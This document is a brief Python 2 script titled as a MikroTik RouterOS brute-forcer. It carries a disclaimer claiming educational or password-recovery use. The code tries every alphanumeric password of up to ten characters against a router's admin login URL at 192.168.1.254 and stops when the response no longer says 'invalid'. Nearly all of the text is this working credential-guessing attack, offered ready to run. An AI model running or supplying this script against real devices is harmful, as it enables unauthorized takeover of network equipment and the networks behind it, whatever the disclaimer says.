MikroTik RouterOS Bruteforcer
Only use if you forgot your password!!!
Disclaimer: This script is for educational purposes only. (Or if you forgot your password and do not want to hard reset)
--
import urllib
import re
import time

def grep(string,list):
	expr = re.compile(string)
	for text in list:
		match = expr.search(text)
	if match != None:
		print match.string

brutes = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
min_chars = 1
max_chars = 10

base = len(brutes)

for b in xrange(base**(min_chars-1)-1, base**max_chars):
	num = b
	digits = []
	while True:
		digit = num % base
		digits.append(digit)
		num = num // base
		if num == 0: break

	digits.reverse()
	brute = "".join([brutes[d] for d in digits])

	url = "http://192.168.1.254/cfg?process=login&backpage=%2Fcfg&page=start&user=admin&password=" + brute + "&submit=+Log+in+"
	input = urllib.urlopen(url)
	rput = input.read()
	if rput.count("invalid") == 0:
		break
	else:
		print "'%s' was invalid." % brute

print "Done, the password is: '%s'!" % brute